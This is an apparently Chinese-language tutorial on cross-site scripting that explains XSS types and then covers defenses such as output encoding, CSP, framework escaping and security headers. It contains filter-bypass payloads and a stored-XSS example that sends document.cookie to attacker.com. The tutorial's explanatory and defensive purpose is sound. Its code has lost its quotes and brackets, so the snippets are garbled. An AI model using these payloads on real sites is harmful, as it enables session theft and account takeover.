1. 当浏览器信任了不该信任的东西那天下午我正在调试一个用户反馈系统。测试同事突然发来一张截图——评论区里赫然显示着一段诡异的脚本 。更令人后怕的是这段代码竟然真的在页面上执行了。这就是我与XSS的第一次正面交锋。XSS跨站脚本攻击的本质是让浏览器执行了攻击者精心构造的恶意脚本。就像给陌生人开了家门密码攻击者可以盗取用户的cookie和session信息篡改页面内容进行钓鱼欺诈记录键盘输入获取敏感信息甚至利用浏览器漏洞进一步渗透内网根据攻击方式的不同XSS主要分为三类反射型XSS恶意脚本作为请求参数直接嵌入URL服务器未过滤就返回给浏览器存储型XSS攻击脚本被永久存储在服务器数据库所有访问者都会中招DOM型XSS完全在前端发生的攻击恶意操作DOM树而不经过服务器关键认知XSS不是服务器被入侵而是利用网站对用户输入的过度信任让其他用户的浏览器执行恶意代码。2. 解剖XSS攻击链从输入到执行2.1 攻击入口点分析任何接收用户输入的地方都可能成为XSS的入口搜索框、评论区、留言板等文本输入区域URL参数特别是GET请求的参数值文件上传的文件名和内容HTTP头部如User-Agent、Referer以最常见的评论区为例!-- 用户提交的内容 -- div classcomment scriptstealCookie()/script /div !-- 服务端未做过滤直接渲染 -- div classcomment scriptstealCookie()/script /div2.2 恶意脚本的常见形式攻击者会尝试各种方式绕过基础过滤// 基础脚本注入 scriptalert(1)/script // 利用HTML事件属性 img srcx onerroralert(1) // 伪协议利用 a hrefjavascript:alert(1)点击/a // SVG矢量图形注入 svg onloadalert(1) // CSS表达式旧版IE div stylewidth:expression(alert(1))2.3 实际攻击案例解析假设一个电商网站存在存储型XSS漏洞攻击者在商品评价中植入script let img new Image(); img.src http://attacker.com/steal?cookiedocument.cookie; /script所有查看该商品页面的用户都会向攻击者服务器发送自己的cookie攻击者用这些cookie即可冒充用户登录3. 高级攻击手法与绕过技巧3.1 DOM型XSS的特殊性与传统XSS不同DOM型漏洞完全在前端发生// 漏洞代码 let search document.getElementById(search).value; document.write(搜索结果 search); // 攻击向量 http://example.com/search#scriptalert(1)/script这种攻击不会经过服务器因此传统WAF难以防护。3.2 编码混淆技术攻击者常用编码手段绕过过滤// Hex编码 img srcx onerror#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29; // Unicode编码 img srcx onerror\u0061\u006c\u0065\u0072\u0074(1) // Base64编码 scripteval(atob(YWxlcnQoMSk))/script3.3 利用HTML5新特性现代浏览器特性也被用于攻击!-- 使用video标签的poster属性 -- video posterjavascript:alert(1) !-- 利用details标签的open事件 -- details open ontogglealert(1) !-- 使用autofocus事件 -- input autofocus onfocusalert(1)4. 实战防御从原理到实践4.1 输入输出双重过滤防御的黄金法则是所有用户输入都不可信输入过滤示例Node.js版const xssFilters require(xss-filters); app.post(/comment, (req, res) { let content xssFilters.inHTMLData(req.body.content); // 存储到数据库 });输出编码示例前端function escapeHtml(text) { const div document.createElement(div); div.textContent text; return div.innerHTML; } document.getElementById(output).innerHTML escapeHtml(userControlledInput);4.2 内容安全策略CSPCSP是防御XSS的终极武器通过HTTP头定义资源白名单Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; img-src *; style-src unsafe-inline;这表示默认只允许同源资源脚本仅允许来自自己和指定CDN图片可以从任意来源加载允许内联样式需谨慎4.3 现代框架的自动防护主流框架都有内置XSS防护React自动转义所有插值表达式div{userInput}/div // 自动转义 div dangerouslySetInnerHTML{{__html: userInput}} / // 需显式声明Vuev-text指令自动转义v-html需特别注意div v-textuserInput/div !-- 安全 -- div v-htmluserInput/div !-- 危险 --Angular默认消毒机制可配置import { DomSanitizer } from angular/platform-browser; constructor(private sanitizer: DomSanitizer) {} safeHtml this.sanitizer.bypassSecurityTrustHtml(userInput);5. 渗透测试与漏洞挖掘5.1 手工测试方法使用经典测试向量逐步验证scrscriptiptalert(1)/script // 测试过滤绕过 ;alert(1);// 测试字符串终止 IMG SRCjavascript:alert(1) // 测试大小写混淆5.2 自动化扫描工具推荐工具组合Burp Suite拦截修改请求测试XSSXSStrike智能上下文分析的高级扫描器DOMinator Pro专门检测DOM型XSS5.3 靶场实战推荐提升实战能力的优质靶场DVWA (Damn Vulnerable Web App)包含各难度XSS挑战XSS Game by Google渐进式学习体验PortSwigger Web Security Academy专业级实验环境6. 企业级防护架构6.1 多层防御体系构建纵深防御边界层WAF规则过滤常见攻击模式应用层输入验证输出编码安全框架客户端层CSP限制HttpOnly Cookie监控层异常脚本执行检测6.2 关键安全头设置必备HTTP安全头X-XSS-Protection: 1; modeblock // 启用浏览器XSS过滤器 X-Content-Type-Options: nosniff // 禁止MIME嗅探 Referrer-Policy: strict-origin-when-cross-origin // 控制Referer泄露6.3 应急响应方案发现XSS攻击后的处理流程立即下架受影响页面/功能分析攻击向量和影响范围重置所有可能泄露的会话令牌通知受影响用户修改密码修复漏洞后进行回归测试在修复一个电商网站的存储型XSS漏洞时我们发现攻击者已经注入了盗取支付信息的脚本。通过分析数据库记录我们不仅修复了漏洞还增加了实时监控脚本当检测到异常脚本执行时立即终止会话并触发告警。这个案例让我深刻体会到安全防护不是一次性的工作而是需要持续监控和改进的过程。